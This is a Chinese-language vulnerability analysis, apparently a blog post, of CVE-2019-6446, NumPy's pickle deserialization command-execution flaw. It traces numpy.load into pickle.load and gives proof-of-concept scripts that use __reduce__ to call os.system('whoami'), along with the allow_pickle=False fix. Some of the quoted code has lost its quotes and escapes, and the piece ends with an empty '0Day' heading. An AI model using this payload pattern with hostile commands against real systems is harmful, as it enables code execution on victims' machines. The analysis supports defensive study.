1、介紹
NumPy 是 Python 機器學習庫中之一,主要對於多為數組執行計算。NumPy 提供大量的 函數和操作,能夠幫助程序員便利進行數值計算。在 NumPy 1.16.0 版本之前存在反序列化 命令執行漏洞,用戶載入惡意的數據源造成命令執行。
2、環境 軟體環境如下:
NumPy 1.16.0
Windows10
PyCharm 2018.3.2
3、漏洞分析
先來看漏洞的入口,lib/npyio.py 第 288 行附近。如圖所示。
通過 NumPy.lib.npyio.p 之中的load()方法載入序列化文件,通過 file 形參傳入文件,由於allow_pickle=True,所以可以採用序列化文件。
再看漏洞觸發位置,位置在 lib/npyio.py,第 418 行附近。由於在 windows下可能和其它系統下的行數位置存在差異,所以通過搜索_ZIP_PREFIX 變數就能快速定位到位置。為了方便閱讀,我將無關的代碼省略。
try: # Code to distinguish from NumPy binary files and pickles. _ZIP_PREFIX = bPKx03x04 _ZIP_SUFFIX = bPKx05x06 # empty zip files start with this …… if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX): …… elif magic == format.MAGIC_PREFIX: …… else: # Try a pickle if not allow_pickle: raise ValueError("Cannot load file containing pickled data " "when allow_pickle=False") try: return pickle.load(fid, **pickle_kwargs) except Exception: raise IOError( "Failed to interpret file %s as a pickle" % repr(file)) finally: ……
能夠看到這個代碼是用於區分 NumPy 二進位文件和 pickles。默認格式要求 ZIP 文件前綴 PKx03x04 後綴 PKx05x06,如果不滿足默認的格式,則會執行 pickle.load()方法。pickle 模塊的作用是把 python 對象轉換為字元串表示和字元串重構為對象,稱之為封裝和拆封或
為序列化和反序列化。通過查看 pickle 圖表能夠進一步瞭解模塊,模塊是由 BaseException、
pickle._Unpickler、pickle._Pickler、pickle._Franmer、pickle._Urfamer 組成,圖表如下:
緊接著跟進 pickle.load()方法,相關的方法在 pickle._Urpickler 之中,如圖所示:
跟入Lib/pickle.py 第 1060 行,如圖所示:
此處為反序列執行的方法,到此為漏洞的執行流程為: NumPy.lib.npyio.pyload()=>pickle.py load()
4、POC
默認情況下 allow_pickle=True,允許通過文件反序列化,POC 如下:
from numpy.lib import npyio from numpy import __version__ print(__version__) import os class Test(object): def __init__(self): self.a = 1 def __reduce__(self): return (os.system, (whoami,)) if __name__ == __main__: tmpdaa = Test() npyio.save("test",tmpdaa) npyio.load("test.npy")
或者可以通過 pickles,POC 如下: from numpy.lib import npyio from numpy import __version__ print(__version__) import os import pickle class Test(object): def __init__(self): self.a = 1 def __reduce__(self): return (os.system,(whoami,)) tmpdaa = Test() with open("test-file.pickle",wb) as f: pickle.dump(tmpdaa,f) npyio.load("test-file.pickle")
測試結果,如圖所示:
5、對比分析
這個漏洞讓我想起了之前的反序列化問題,POC 通過構建對象、 reduce 魔法函數, 在 numpy.load()執行反序列化,之前漏洞 POC 如下:
import numpy from numpy import __version__ print(__version__) import os import pickle class Test(object): def __init__(self): self.a = 1 def __reduce__(self): return (os.system,(whoami,)) tmpdaa = Test() with open("test-file.pickle",wb) as f: pickle.dump(tmpdaa,f) numpy.load(test-file.pickle)
漏洞觸發原因:numpy/core/numeric.py第 2280 行,如圖所示:
同樣執行了反序列化,兩者的利用非常相似,都是用的 pickle.load()。
6、防禦修復
由於需要 allow_pickle=True,纔可以執行反序列化,所以只要將 allow_pickle=False,就可以避免反序列化問題。NumPy 在 1.16.0 之後的版本進行了修復,修復如下:
7、總結
CVE-2019-6446 漏洞給予我新的啟發,看待漏洞不能僅看漏洞本身,對於不同的漏洞入口也很重要。個人覺得不同的入口算是新的利用思路披露對於認識漏洞是很有幫助。
8、附上 0Day
__________________________________________________________
推薦閱讀: